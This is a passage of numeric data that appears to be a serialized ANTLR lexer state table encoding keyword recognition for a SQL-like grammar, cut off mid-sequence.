0, 0, 0, 289, 1571, 1, 0, 0, 0, 291, 1583, 1, 0, 0, 0, 293, 1595, 1, 0, 0, 0, 295, 1600, 1, 0, 0, 0, 297, 1607, 1, 0, 0, 0, 299, 1616, 1, 0, 0, 0, 301, 1620, 1, 0, 0, 0, 303, 1628, 1, 0, 0, 0, 305, 1635, 1, 0, 0, 0, 307, 1642, 1, 0, 0, 0, 309, 1646, 1, 0, 0, 0, 311, 1653, 1, 0, 0, 0, 313, 1661, 1, 0, 0, 0, 315, 1666, 1, 0, 0, 0, 317, 1671, 1, 0, 0, 0, 319, 1678, 1, 0, 0, 0, 321, 1682, 1, 0, 0, 0, 323, 1686, 1, 0, 0, 0, 325, 1691, 1, 0, 0, 0, 327, 1696, 1, 0, 0, 0, 329, 1701, 1, 0, 0, 0, 331, 1704, 1, 0, 0, 0, 333, 1709, 1, 0, 0, 0, 335, 1714, 1, 0, 0, 0, 337, 1721, 1, 0, 0, 0, 339, 1728, 1, 0, 0, 0, 341, 1735, 1, 0, 0, 0, 343, 1741, 1, 0, 0, 0, 345, 1749, 1, 0, 0, 0, 347, 1757, 1, 0, 0, 0, 349, 1762, 1, 0, 0, 0, 351, 1768, 1, 0, 0, 0, 353, 1774, 1, 0, 0, 0, 355, 1779, 1, 0, 0, 0, 357, 1790, 1, 0, 0, 0, 359, 1796, 1, 0, 0, 0, 361, 1800, 1, 0, 0, 0, 363, 1802, 1, 0, 0, 0, 365, 1805, 1, 0, 0, 0, 367, 1807, 1, 0, 0, 0, 369, 1809, 1, 0, 0, 0, 371, 1811, 1, 0, 0, 0, 373, 1813, 1, 0, 0, 0, 375, 1815, 1, 0, 0, 0, 377, 1817, 1, 0, 0, 0, 379, 1819, 1, 0, 0, 0, 381, 1822, 1, 0, 0, 0, 383, 1824, 1, 0, 0, 0, 385, 1826, 1, 0, 0, 0, 387, 1829, 1, 0, 0, 0, 389, 1831, 1, 0, 0, 0, 391, 1833, 1, 0, 0, 0, 393, 1835, 1, 0, 0, 0, 395, 1837, 1, 0, 0, 0, 397, 1840, 1, 0, 0, 0, 399, 1842, 1, 0, 0, 0, 401, 1845, 1, 0, 0, 0, 403, 1847, 1, 0, 0, 0, 405, 1849, 1, 0, 0, 0, 407, 1852, 1, 0, 0, 0, 409, 1854, 1, 0, 0, 0, 411, 1856, 1, 0, 0, 0, 413, 1858, 1, 0, 0, 0, 415, 1860, 1, 0, 0, 0, 417, 1862, 1, 0, 0, 0, 419, 1864, 1, 0, 0, 0, 421, 1875, 1, 0, 0, 0, 423, 1888, 1, 0, 0, 0, 425, 1899, 1, 0, 0, 0, 427, 1918, 1, 0, 0, 0, 429, 1948, 1, 0, 0, 0, 431, 1954, 1, 0, 0, 0, 433, 1965, 1, 0, 0, 0, 435, 1997, 1, 0, 0, 0, 437, 2005, 1, 0, 0, 0, 439, 2012, 1, 0, 0, 0, 441, 2022, 1, 0, 0, 0, 443, 2025, 1, 0, 0, 0, 445, 2045, 1, 0, 0, 0, 447, 2049, 1, 0, 0, 0, 449, 2069, 1, 0, 0, 0, 451, 2071, 1, 0, 0, 0, 453, 2073, 1, 0, 0, 0, 455, 2075, 1, 0, 0, 0, 457, 2077, 1, 0, 0, 0, 459, 2079, 1, 0, 0, 0, 461, 2081, 1, 0, 0, 0, 463, 2083, 1, 0, 0, 0, 465, 2085, 1, 0, 0, 0, 467, 2087, 1, 0, 0, 0, 469, 2089, 1, 0, 0, 0, 471, 2091, 1, 0, 0, 0, 473, 2093, 1, 0, 0, 0, 475, 2095, 1, 0, 0, 0, 477, 2097, 1, 0, 0, 0, 479, 2099, 1, 0, 0, 0, 481, 2101, 1, 0, 0, 0, 483, 2103, 1, 0, 0, 0, 485, 2105, 1, 0, 0, 0, 487, 2107, 1, 0, 0, 0, 489, 2109, 1, 0, 0, 0, 491, 2111, 1, 0, 0, 0, 493, 2113, 1, 0, 0, 0, 495, 2115, 1, 0, 0, 0, 497, 2117, 1, 0, 0, 0, 499, 2119, 1, 0, 0, 0, 501, 2121, 1, 0, 0, 0, 503, 2123, 1, 0, 0, 0, 505, 2125, 1, 0, 0, 0, 507, 508, 3, 455, 227, 0, 508, 509, 3, 459, 229, 0, 509, 510, 3, 459, 229, 0, 510, 511, 3, 463, 231, 0, 511, 512, 3, 491, 245, 0, 512, 513, 3, 491, 245, 0, 513, 2, 1, 0, 0, 0, 514, 515, 3, 455, 227, 0, 515, 516, 3, 461, 230, 0, 516, 517, 3, 461, 230, 0, 517, 518, 3, 489, 244, 0, 518, 519, 3, 463, 231, 0, 519, 520, 3, 491, 245, 0, 520, 521, 3, 491, 245, 0, 521, 522, 3, 483, 241, 0, 522, 523, 3, 465, 232, 0, 523, 4, 1, 0, 0, 0, 524, 525, 3, 455, 227, 0, 525, 526, 3, 477, 238, 0, 526, 527, 3, 471, 235, 0, 527, 528, 3, 455, 227, 0, 528, 529, 3, 491, 245, 0, 529, 6, 1, 0, 0, 0, 530, 531, 3, 455, 227, 0, 531, 532, 3, 481, 240, 0, 532, 533, 3, 461, 230, 0, 533, 8, 1, 0, 0, 0, 534, 535, 3, 455, 227, 0, 535, 536, 3, 493, 246, 0, 536, 537, 3, 493, 246, 0, 537, 538, 3, 489, 244, 0, 538, 539, 3, 471, 235, 0, 539, 540, 3, 457, 228, 0, 540, 541, 3, 495, 247, 0, 541, 542, 3, 493, 246, 0, 542, 543, 3, 463, 231, 0, 543, 10, 1, 0, 0, 0, 544, 545, 3, 455, 227, 0, 545, 546, 3, 485, 242, 0, 546, 547, 3, 485, 242, 0, 547, 548, 3, 455, 227, 0, 548, 549, 3, 459, 229, 0, 549, 550, 3, 493, 246, 0, 550, 551, 3, 471, 235, 0, 551, 552, 3, 497, 248, 0, 552, 553, 3, 455, 227, 0, 553, 554, 3, 493, 246, 0, 554, 555, 3, 463, 231, 0, 555, 12, 1, 0, 0, 0, 556, 557, 3, 455, 227, 0, 557, 558, 3, 485, 242, 0, 558, 559, 3, 485, 242, 0, 559, 560, 3, 463, 231, 0, 560, 561, 3, 481, 240, 0, 561, 562, 3, 461, 230, 0, 562, 14, 1, 0, 0, 0, 563, 564, 3, 455, 227, 0, 564, 565, 3, 491, 245, 0, 565, 16, 1, 0, 0, 0, 566, 567, 3, 457, 228, 0, 567, 568, 3, 463, 231, 0, 568, 569, 3, 463, 231, 0, 569, 570, 3, 485, 242, 0, 570, 18, 1, 0, 0, 0, 571, 572, 3, 457, 228, 0, 572, 573, 3, 463, 231, 0, 573, 574, 3, 467, 233, 0, 574, 575, 3, 471, 235, 0, 575, 576, 3, 481, 240, 0, 576, 20, 1, 0, 0, 0, 577, 578, 3, 457, 228, 0, 578, 579, 3, 463, 231, 0, 579, 580, 3, 467, 233, 0, 580, 581, 3, 471, 235, 0, 581, 582, 3, 481, 240, 0, 582, 583, 3, 485, 242, 0, 583, 584, 3, 489, 244, 0, 584, 585, 3, 483, 241, 0, 585, 586, 3, 485, 242, 0, 586, 587, 3, 463, 231, 0, 587, 588, 3, 489, 244, 0, 588, 589, 3, 493, 246, 0, 589, 590, 3, 503, 251, 0, 590, 22, 1, 0, 0, 0, 591, 592, 3, 457, 228, 0, 592, 593, 3, 471, 235, 0, 593, 594, 3, 481, 240, 0, 594, 595, 3, 455, 227, 0, 595, 596, 3, 489, 244, 0, 596, 597, 3, 503, 251, 0, 597, 24, 1, 0, 0, 0, 598, 599, 3, 457, 228, 0, 599, 600, 3, 483, 241, 0, 600, 601, 3, 483, 241, 0, 601, 602, 3, 477, 238, 0, 602, 603, 3, 463, 231, 0, 603, 604, 3, 455, 227, 0, 604, 605, 3, 481, 240, 0, 605, 26, 1, 0, 0, 0, 606, 607, 3, 457, 228, 0, 607, 608, 3, 503, 251, 0, 608, 609, 3, 497, 248, 0, 609, 610, 3, 455, 227, 0, 610, 611, 3, 477, 238, 0, 611, 28, 1, 0, 0, 0, 612, 613, 3, 457, 228, 0, 613, 614, 3, 503, 251, 0, 614, 615, 3, 489, 244, 0, 615, 616, 3, 463, 231, 0, 616, 617, 3, 465, 232, 0, 617, 30, 1, 0, 0, 0, 618, 619, 3, 457, 228, 0, 619, 620, 3, 503, 251, 0, 620, 621, 3, 493, 246, 0, 621, 622, 3, 463, 231, 0, 622, 32, 1, 0, 0, 0, 623, 624, 3, 459, 229, 0, 624, 625, 3, 455, 227, 0, 625, 626, 3, 477, 238, 0, 626, 627, 3, 477, 238, 0, 627, 34, 1, 0, 0, 0, 628, 629, 3, 459, 229, 0, 629, 630, 3, 455, 227, 0, 630, 631, 3, 491, 245, 0, 631, 632, 3, 463, 231, 0, 632, 36, 1, 0, 0, 0, 633, 634, 3, 459, 229, 0, 634, 635, 3, 469, 234, 0, 635, 636, 3, 461, 230, 0, 636, 637, 3, 471, 235, 0, 637, 638, 3, 489, 244, 0, 638, 38, 1, 0, 0, 0, 639, 640, 3, 459, 229, 0, 640, 641, 3, 469, 234, 0, 641, 642, 3, 461, 230, 0, 642, 643, 3, 489, 244, 0, 643, 644, 3, 471, 235, 0, 644, 645, 3, 497, 248, 0, 645, 646, 3, 463, 231, 0, 646, 40, 1, 0, 0, 0, 647, 648, 3, 459, 229, 0, 648, 649, 3, 477, 238, 0, 649, 650, 3, 455, 227, 0, 650, 651, 3, 491, 245, 0, 651, 652, 3, 491, 245, 0, 652, 42, 1, 0, 0, 0, 653, 654, 3, 459, 229, 0, 654, 655, 3, 477, 238, 0, 655, 656, 3, 483, 241, 0, 656, 657, 3, 491, 245, 0, 657, 658, 3, 463, 231, 0, 658, 44, 1, 0, 0, 0, 659, 660, 3, 459, 229, 0, 660, 661, 3, 483, 241, 0, 661, 662, 3, 477, 238, 0, 662, 663, 3, 477, 238, 0, 663, 664, 3, 463, 231, 0, 664, 665, 3, 459, 229, 0, 665, 666, 3, 493, 246, 0, 666, 667, 3, 471, 235, 0, 667, 668, 3, 483, 241, 0, 668, 669, 3, 481, 240, 0, 669, 46, 1, 0, 0, 0, 670, 671, 3, 459, 229, 0, 671, 672, 3, 483, 241, 0, 672, 673, 3, 481, 240, 0, 673, 674, 3, 491, 245, 0, 674, 675, 3, 493, 246, 0, 675, 48, 1, 0, 0, 0, 676, 677, 3, 461, 230, 0, 677, 678, 3, 455, 227, 0, 678, 679, 3, 493, 246, 0, 679, 680, 3, 463, 231, 0, 680, 50, 1, 0, 0, 0, 681, 682, 3, 485, 242, 0, 682, 683, 3, 493, 246, 0, 683, 684, 3, 489, 244, 0, 684, 685, 3, 491, 245, 0, 685, 686, 3, 455, 227, 0, 686, 687, 3, 465, 232, 0, 687, 688, 3, 463, 231, 0, 688, 52, 1, 0, 0, 0, 689, 690, 3, 461, 230, 0, 690, 691, 3, 463, 231, 0, 691, 692, 3, 459, 229, 0, 692, 693, 3, 477, 238, 0, 693, 694, 3, 455, 227, 0, 694, 695, 3, 489, 244, 0, 695, 696, 3, 463, 231, 0, 696, 54, 1, 0, 0, 0, 697, 698, 3, 461, 230, 0, 698, 699, 3, 463, 231, 0, 699, 700, 3, 465, 232, 0, 700, 701, 3, 457, 228, 0, 701, 702, 3, 483, 241, 0, 702, 703, 3, 483, 241, 0, 703, 704, 3, 477, 238, 0, 704, 56, 1, 0, 0, 0, 705, 706, 3, 461, 230, 0, 706, 707, 3, 463, 231, 0, 707, 708, 3, 465, 232, 0, 708, 709, 3, 457, 228, 0, 709, 710, 3, 503, 251, 0, 710, 711, 3, 493, 246, 0, 711, 712, 3, 463, 231, 0, 712, 58, 1, 0, 0, 0, 713, 714, 3, 461, 230, 0, 714, 715, 3, 463, 231, 0, 715, 716, 3, 465, 232, 0, 716, 717, 3, 461, 230, 0, 717, 718, 3, 455, 227, 0, 718, 719, 3, 493, 246, 0, 719, 720, 3, 463, 231, 0, 720, 60, 1, 0, 0, 0, 721, 722, 3, 461, 230, 0, 722, 723, 3, 463, 231, 0, 723, 724, 3, 465, 232, 0, 724, 725, 3, 461, 230, 0, 725, 726, 3, 457, 228, 0, 726, 727, 3, 477, 238, 0, 727, 62, 1, 0, 0, 0, 728, 729, 3, 461, 230, 0, 729, 730, 3, 463, 231, 0, 730, 731, 3, 465, 232, 0, 731, 732, 3, 461, 230, 0, 732, 733, 3, 463, 231, 0, 733, 734, 3, 459, 229, 0, 734, 64, 1, 0, 0, 0, 735, 736, 3, 461, 230, 0, 736, 737, 3, 463, 231, 0, 737, 738, 3, 465, 232, 0, 738, 739, 3, 459, 229, 0, 739, 740, 3, 495, 247, 0, 740, 741, 3, 489, 244, 0, 741, 66, 1, 0, 0, 0, 742, 743, 3, 461, 230, 0, 743, 744, 3, 463, 231, 0, 744, 745, 3, 465, 232, 0, 745, 746, 3, 471, 235, 0, 746, 747, 3, 481, 240, 0, 747, 748, 3, 493, 246, 0, 748, 68, 1, 0, 0, 0, 749, 750, 3, 461, 230, 0, 750, 751, 3, 463, 231, 0, 751, 752, 3, 465, 232, 0, 752, 753, 3, 477, 238, 0, 753, 754, 3, 481, 240, 0, 754, 755, 3, 467, 233, 0, 755, 70, 1, 0, 0, 0, 756, 757, 3, 461, 230, 0, 757, 758, 3, 463, 231, 0, 758, 759, 3, 465, 232, 0, 759, 760, 3, 483, 241, 0, 760, 761, 3, 457, 228, 0, 761, 762, 3, 473, 236, 0, 762, 72, 1, 0, 0, 0, 763, 764, 3, 461, 230, 0, 764, 765, 3, 463, 231, 0, 765, 766, 3, 465, 232, 0, 766, 767, 3, 491, 245, 0, 767, 768, 3, 481, 240, 0, 768, 769, 3, 467, 233, 0, 769, 74, 1, 0, 0, 0, 770, 771, 3, 461, 230, 0, 771, 772, 3, 463, 231, 0, 772, 773, 3, 465, 232, 0, 773, 774, 3, 491, 245, 0, 774, 775, 3, 493, 246, 0, 775, 776, 3, 489, 244, 0, 776, 76, 1, 0, 0, 0, 777, 778, 3, 461, 230, 0, 778, 779, 3, 463, 231, 0, 779, 780, 3, 465, 232, 0, 780, 781, 3, 497, 248, 0, 781, 782, 3, 455, 227, 0, 782, 783, 3, 489, 244, 0, 783, 78, 1, 0, 0, 0, 784, 785, 3, 461, 230, 0, 785, 786, 3, 463, 231, 0, 786, 787, 3, 477, 238, 0, 787, 788, 3, 463, 231, 0, 788, 789, 3, 493, 246, 0, 789, 790, 3, 463, 231, 0, 790, 791, 3, 491, 245, 0, 791, 792, 3, 463, 231, 0, 792, 793, 3, 493, 246, 0, 793, 794, 3, 493, 246, 0, 794, 795, 3, 471, 235, 0, 795, 796, 3, 481, 240, 0, 796, 797, 3, 467, 233, 0, 797, 80, 1, 0, 0, 0, 798, 799, 3, 461, 230, 0, 799, 800, 3, 471, 235, 0, 800, 801, 3, 479, 239, 0, 801, 82, 1, 0, 0, 0, 802, 803, 3, 461, 230, 0, 803, 804, 3, 483, 241, 0, 804, 84, 1, 0, 0, 0, 805, 806, 3, 461, 230, 0, 806, 807, 3, 483, 241, 0, 807, 808, 3, 495, 247, 0, 808, 809, 3, 457, 228, 0, 809, 810, 3, 477, 238, 0, 810, 811, 3, 463, 231, 0, 811, 86, 1, 0, 0, 0, 812, 813, 3, 463, 231, 0, 813, 814, 3, 455, 227, 0, 814, 815, 3, 459, 229, 0, 815, 816, 3, 469, 234, 0, 816, 88, 1, 0, 0, 0, 817, 818, 3, 463, 231, 0, 818, 819, 3, 477, 238, 0, 819, 820, 3, 491, 245, 0, 820, 821, 3, 463, 231, 0, 821, 90, 1, 0, 0, 0, 822, 823, 3, 463, 231, 0, 823, 824, 3, 477, 238, 0, 824, 825, 3, 491, 245, 0, 825, 826, 3, 463, 231, 0, 826, 827, 3, 471, 235, 0, 827, 828, 3, 465, 232, 0, 828, 92, 1, 0, 0, 0, 829, 830, 3, 463, 231, 0, 830, 831, 3, 481, 240, 0, 831, 832, 3, 461, 230, 0, 832, 833, 5, 32, 0, 0, 833, 834, 3, 463, 231, 0, 834, 835, 3, 481, 240, 0, 835, 836, 3, 495, 247, 0, 836, 837, 3, 479, 239, 0, 837, 94, 1, 0, 0, 0, 838, 839, 3, 463, 231, 0, 839, 840, 3, 481, 240, 0, 840, 841, 3, 461, 230, 0, 841, 842, 5, 32, 0, 0, 842, 843, 3, 459, 229, 0, 843, 844, 3, 477, 238, 0, 844, 845, 3, 455, 227, 0, 845, 846, 3, 491, 245, 0, 846, 847, 3, 491, 245, 0, 847, 96, 1, 0, 0, 0, 848, 849, 3, 463, 231, 0, 849, 850, 3, 481, 240, 0, 850, 851, 3, 461, 230, 0, 851, 852, 5, 32, 0, 0, 852, 853, 3, 465, 232, 0, 853, 854, 3, 495, 247, 0, 854, 855, 3, 481, 240, 0, 855, 856, 3, 459, 229, 0, 856, 857, 3, 493, 246, 0, 857, 858, 3, 471, 235, 0, 858, 859, 3, 483, 241, 0, 859, 860, 3, 481, 240, 0, 860, 98, 1, 0, 0, 0, 861, 862, 3, 463, 231, 0, 862, 863, 3, 481, 240, 0, 863, 864, 3, 461, 230, 0, 864, 865, 5, 32, 0, 0, 865, 866, 3, 471, 235, 0, 866, 867, 3, 465, 232, 0, 867, 100, 1, 0, 0, 0, 868, 869, 3, 463, 231, 0, 869, 870, 3, 481, 240, 0, 870, 871, 3, 461, 230, 0, 871, 872, 5, 32, 0, 0, 872, 873, 3, 485, 242, 0, 873, 874, 3, 489, 244, 0, 874, 875, 3, 483, 241, 0, 875, 876, 3, 485, 242, 0, 876, 877, 3, 463, 231, 0, 877, 878, 3, 489, 244, 0, 878, 879, 3, 493, 246, 0, 879, 880, 3, 503, 251, 0, 880, 102, 1, 0, 0, 0, 881, 882, 3, 463, 231, 0, 882, 883, 3, 481, 240, 0, 883, 884, 3, 461, 230, 0, 884, 885, 5, 32, 0, 0, 885, 886, 3, 491, 245, 0, 886, 887, 3, 463, 231, 0, 887, 888, 3, 477, 238, 0, 888, 889, 3, 463, 231, 0, 889, 890, 3, 459, 229, 0, 890, 891, 3, 493, 246, 0, 891, 104, 1, 0, 0, 0, 892, 893, 3, 463, 231, 0, 893, 894, 3, 481, 240, 0, 894, 895, 3, 461, 230, 0, 895, 896, 5, 32, 0, 0, 896, 897, 3, 491, 245, 0, 897, 898, 3, 495, 247, 0, 898, 899, 3, 457, 228, 0, 899, 106, 1, 0, 0, 0, 900, 901, 3, 463, 231, 0, 901, 902, 3, 481, 240, 0, 902, 903, 3, 461, 230, 0, 903, 904, 5, 32, 0, 0, 904, 905, 3, 493, 246, 0, 905, 906, 3, 503, 251, 0, 906, 907, 3, 485, 242, 0, 907, 908, 3, 463, 231, 0, 908, 108, 1, 0, 0, 0, 909, 910, 3, 463, 231, 0, 910, 911, 3, 481, 240, 0, 911, 912, 3, 461, 230, 0, 912, 913, 5, 32, 0, 0, 913, 914, 3, 499, 249, 0, 914, 915, 3, 471, 235, 0, 915, 916, 3, 493, 246, 0, 916, 917, 3, 469, 234, 0, 917, 110, 1, 0, 0, 0, 918, 919, 3, 463, 231, 0, 919, 920, 3, 481, 240, 0, 920, 921, 3, 461, 230, 0, 921, 112, 1, 0, 0, 0, 922, 923, 3, 463, 231, 0, 923, 924, 3, 481, 240, 0, 924, 925, 3, 461, 230, 0, 925, 926, 3, 485, 242, 0, 926, 927, 3, 489, 244, 0, 927, 928, 3, 483, 241, 0, 928, 929, 3, 485, 242, 0, 929, 930, 3, 463, 231, 0, 930, 931, 3, 489, 244, 0, 931, 932, 3, 493, 246, 0, 932, 933, 3, 503, 251, 0, 933, 114, 1, 0, 0, 0, 934, 935, 3, 463, 231, 0, 935, 936, 3, 481, 240, 0, 936, 937, 3, 495, 247, 0, 937, 938, 3, 479, 239, 0, 938, 116, 1, 0, 0, 0, 939, 940, 3, 463, 231, 0, 940, 941, 3, 487, 243, 0, 941, 942, 3, 497, 248, 0, 942, 118, 1, 0, 0, 0, 943, 944, 3, 463, 231, 0, 944, 945, 3, 489, 244, 0, 945, 946, 3, 455, 227, 0, 946, 947, 3, 491, 245, 0, 947, 948, 3, 463, 231, 0, 948, 120, 1, 0, 0, 0, 949, 950, 3, 463, 231, 0, 950, 951, 3, 489, 244, 0, 951, 952, 3, 489, 244, 0, 952, 953, 3, 483, 241, 0, 953, 954, 3, 489, 244, 0, 954, 122, 1, 0, 0, 0, 955, 956, 3, 463, 231, 0, 956, 957, 3, 497, 248, 0, 957, 958, 3, 463, 231, 0, 958, 959, 3, 481, 240, 0, 959, 960, 3, 493, 246, 0, 960, 124, 1, 0, 0, 0, 961, 962, 3, 463, 231, 0, 962, 963, 3, 501, 250, 0, 963, 964, 3, 471, 235, 0, 964, 965, 3, 493, 246, 0, 965, 966, 5, 32, 0, 0, 966, 967, 3, 461, 230, 0, 967, 968, 3, 483, 241, 0, 968, 126, 1, 0, 0, 0, 969, 970, 3, 463, 231, 0, 970, 971, 3, 501, 250, 0, 971, 972, 3, 471, 235, 0, 972, 973, 3, 493, 246, 0, 973, 974, 5, 32, 0, 0, 974, 975, 3, 465, 232, 0, 975, 976, 3, 483, 241, 0, 976, 977, 3, 489, 244, 0, 977, 128, 1, 0, 0, 0, 978, 979, 3, 463, 231, 0, 979, 980, 3, 501, 250, 0, 980, 981, 3, 471, 235, 0, 981, 982, 3, 493, 246, 0, 982, 983, 5, 32, 0, 0, 983, 984, 3, 465, 232, 0, 984, 985, 3, 495, 247, 0, 985, 986, 3, 481, 240, 0, 986, 987, 3, 459, 229, 0, 987, 988, 3, 493, 246, 0, 988, 989, 3, 471, 235, 0, 989, 990, 3, 483, 241, 0, 990, 991, 3, 481, 240, 0, 991, 130, 1, 0, 0, 0, 992, 993, 3, 463, 231, 0, 993, 994, 3, 501, 250, 0, 994, 995, 3, 471, 235, 0, 995, 996, 3, 493, 246, 0, 996, 997, 5, 32, 0, 0, 997, 998, 3, 485, 242, 0, 998, 999, 3, 489, 244, 0, 999, 1000, 3, 483, 241, 0, 1000, 1001, 3, 485, 242, 0, 1001, 1002, 3, 463, 231, 0, 1002, 1003, 3, 489, 244, 0, 1003, 1004, 3, 493, 246, 0, 1004, 1005, 3, 503, 251, 0, 1005, 132, 1, 0, 0, 0, 1006, 1007, 3, 463, 231, 0, 1007, 1008, 3, 501, 250, 0, 1008, 1009, 3, 471, 235, 0, 1009, 1010, 3, 493, 246, 0, 1010, 1011, 5, 32, 0, 0, 1011, 1012, 3, 491, 245, 0, 1012, 1013, 3, 495, 247, 0, 1013, 1014, 3, 457, 228, 0, 1014, 134, 1, 0, 0, 0, 1015, 1016, 3, 465, 232, 0, 1016, 1017, 3, 455, 227, 0, 1017, 1018, 3, 477, 238, 0, 1018, 1019, 3, 491, 245, 0, 1019, 1020, 3, 463, 231, 0, 1020, 136, 1, 0, 0, 0, 1021, 1022, 3, 465, 232, 0, 1022, 1023, 3, 471, 235, 0, 1023, 1024, 3, 477, 238, 0, 1024, 1025, 3, 463, 231, 0, 1025, 1026, 3, 459, 229, 0, 1026, 1027, 3, 483, 241, 0, 1027, 1028, 3, 485, 242, 0, 1028, 1029, 3, 503, 251, 0, 1029, 138, 1, 0, 0, 0, 1030, 1031, 3, 465, 232, 0, 1031, 1032, 3, 489, 244, 0, 1032, 1033, 3, 471, 235, 0, 1033, 1034, 3, 463, 231, 0, 1034, 1035, 3, 481, 240, 0, 1035, 1036, 3, 461, 230, 0, 1036, 140, 1, 0, 0, 0, 1037, 1038, 3, 465, 232, 0, 1038, 1039, 3, 483, 241, 0, 1039, 1040, 3, 489, 244, 0, 1040, 142, 1, 0, 0, 0, 1041, 1042, 3, 465, 232, 0, 1042, 1043, 3, 495, 247, 0, 1043, 1044, 3, 481, 240, 0, 1044, 1045, 3, 459, 229, 0, 1045, 1046, 3, 493, 246, 0, 1046, 1047, 3, 471, 235, 0, 1047, 1048, 3, 483, 241, 0, 1048, 1049, 3, 481, 240, 0, 1049, 144, 1, 0, 0, 0, 1050, 1051, 3, 467, 233, 0, 1051, 1052, 3, 463, 231, 0, 1052, 1053, 3, 493, 246, 0, 1053, 146, 1, 0, 0, 0, 1054, 1055, 3, 467, 233, 0, 1055, 1056, 3, 477, 238, 0, 1056, 1057, 3, 483, 241, 0, 1057, 1058, 3, 457, 228, 0, 1058, 1059, 3, 455, 227, 0, 1059, 1060, 3, 477, 238, 0, 1060, 148, 1, 0, 0, 0, 1061, 1062, 3, 467, 233, 0, 1062, 1063, 3, 483, 241, 0, 1063, 1064, 3, 491, 245, 0, 1064, 1065, 3, 495, 247, 0, 1065, 1066, 3, 457, 228, 0, 1066, 150, 1, 0, 0, 0, 1067, 1068, 3, 467, 233, 0, 1068, 1069, 3, 483, 241, 0, 1069, 1070, 3, 493, 246, 0, 1070, 1071, 3, 483, 241, 0, 1071, 152, 1, 0, 0, 0, 1072, 1073, 3, 471, 235, 0, 1073, 1074, 3, 465, 232, 0, 1074, 154, 1, 0, 0, 0, 1075, 1076, 3, 471, 235, 0, 1076, 1077, 3, 479, 239, 0, 1077, 1078, 3, 485, 242, 0, 1078, 156, 1, 0, 0, 0, 1079, 1080, 3, 471, 235, 0, 1080, 1081, 3, 479, 239, 0, 1081, 1082, 3, 485, 242, 0, 1082, 1083, 3, 477, 238, 0, 1083, 1084, 3, 463, 231, 0, 1084, 1085, 3, 479, 239, 0, 1085, 1086, 3, 463, 231, 0, 1086, 1087, 3, 481, 240, 0, 1087, 1088, 3, 493, 246, 0, 1088, 1089, 3, 491, 245, 0, 1089, 158, 1, 0, 0, 0, 1090, 1091, 3, 471, 235, 0, 1091, 1092, 3, 481, 240, 0, 1092, 160, 1, 0, 0, 0, 1093, 1094, 3, 471, 235, 0, 1094, 1095, 3, 481, 240, 0, 1095, 1096, 3, 485, 242, 0, 1096, 1097, 3, 495, 247, 0, 1097, 1098, 3, 493, 246, 0, 1098, 162, 1, 0, 0, 0, 1099, 1100, 3, 471, 235, 0, 1100, 1101, 3, 491, 245, 0, 1101, 164, 1, 0, 0, 0, 1102, 1103, 3, 471, 235, 0, 1103, 1104, 3, 481, 240, 0, 1104, 1105, 3, 493, 246, 0, 1105, 1106, 3, 463, 231, 0, 1106, 1107, 3, 467, 233, 0, 1107, 1108, 3, 463, 231, 0, 1108, 1109, 3, 489, 244, 0, 1109, 166, 1, 0, 0, 0, 1110, 1111, 3, 475, 237, 0, 1111, 1112, 3, 471, 235, 0, 1112, 1113, 3, 477, 238, 0, 1113, 1114, 3, 477, 238, 0, 1114, 168, 1, 0, 0, 0, 1115, 1116, 3, 477, 238, 0, 1116, 1117, 3, 483, 241, 0, 1117, 1118, 3, 455, 227, 0, 1118, 1119, 3, 461, 230, 0, 1119, 170, 1, 0, 0, 0, 1120, 1121, 3, 477, 238, 0, 1121, 1122, 3, 483, 241, 0, 1122, 1123, 3, 459, 229, 0, 1123, 1124, 3, 475, 237, 0, 1124, 172, 1, 0, 0, 0, 1125, 1126, 3, 477, 238, 0, 1126, 1127, 3, 483, 241, 0, 1127, 1128, 3, 481, 240, 0, 1128, 1129, 3, 467, 233, 0, 1129, 174, 1, 0, 0, 0, 1130, 1131, 3, 477, 238, 0, 1131, 1132, 3, 483, 241, 0, 1132, 1133, 3, 483, 241, 0, 1133, 1134, 3, 485, 242, 0, 1134, 176, 1, 0, 0, 0, 1135, 1136, 3, 477, 238, 0, 1136, 1137, 3, 463, 231, 0, 1137, 1138, 3, 481, 240, 0, 1138, 178, 1, 0, 0, 0, 1139, 1140, 3, 477, 238, 0, 1140, 1141, 3, 463, 231, 0, 1141, 1142, 3, 493, 246, 0, 1142, 180, 1, 0, 0, 0, 1143, 1144, 3, 477, 238, 0, 1144, 1145, 3, 471, 235, 0, 1145, 1146, 3, 457, 228, 0, 1146, 182, 1, 0, 0, 0, 1147, 1148, 3, 477, 238, 0, 1148, 1149, 3, 471, 235, 0, 1149, 1150, 3, 475, 237, 0, 1150, 1151, 3, 463, 231, 0, 1151, 184, 1, 0, 0, 0, 1152, 1153, 3, 477, 238, 0, 1153, 1154, 3, 471, 235, 0, 1154, 1155, 3, 481, 240, 0, 1155, 1156, 3, 463, 231, 0, 1156, 1157, 5, 32, 0, 0, 1157, 1158, 3, 471, 235, 0, 1158, 1159, 3, 481, 240, 0, 1159, 1160, 3, 485, 242, 0, 1160, 1161, 3, 495, 247, 0, 1161, 1162, 3, 493, 246, 0, 1162, 186, 1, 0, 0, 0, 1163, 1164, 3, 477, 238, 0, 1164, 1165, 3, 483, 241, 0, 1165, 1166, 3, 459, 229, 0, 1166, 1167, 3, 475, 237, 0, 1167, 1168, 5, 32, 0, 0, 1168, 1169, 3, 489, 244, 0, 1169, 1170, 3, 463, 231, 0, 1170, 1171, 3, 455, 227, 0, 1171, 1172, 3, 461, 230, 0, 1172, 188, 1, 0, 0, 0, 1173, 1174, 3, 477, 238, 0, 1174, 1175, 3, 483, 241, 0, 1175, 1176, 3, 459, 229, 0, 1176, 1177, 3, 475, 237, 0, 1177, 1178, 5, 32, 0, 0, 1178, 1179, 3, 499, 249, 0, 1179, 1180, 3, 489, 244, 0, 1180, 1181, 3, 471, 235, 0, 1181, 1182, 3, 493, 246, 0, 1182, 1183, 3, 463, 231, 0, 1183, 190, 1, 0, 0, 0, 1184, 1185, 3, 477, 238, 0, 1185, 1186, 3, 483, 241, 0, 1186, 1187, 3, 459, 229, 0, 1187, 1188, 3, 475, 237, 0, 1188, 1189, 5, 32, 0, 0, 1189, 1190, 3, 489, 244, 0, 1190, 1191, 3, 463, 231, 0, 1191, 1192, 3, 455, 227, 0, 1192, 1193, 3, 461, 230, 0, 1193, 1194, 5, 32, 0, 0, 1194, 1195, 3, 499, 249, 0, 1195, 1196, 3, 489, 244, 0, 1196, 1197, 3, 471, 235, 0, 1197, 1198, 3, 493, 246, 0, 1198, 1199, 3, 463, 231, 0, 1199, 192, 1, 0, 0, 0, 1200, 1201, 3, 477, 238, 0, 1201, 1202, 3, 491, 245, 0, 1202, 1203, 3, 463, 231, 0, 1203, 1204, 3, 493, 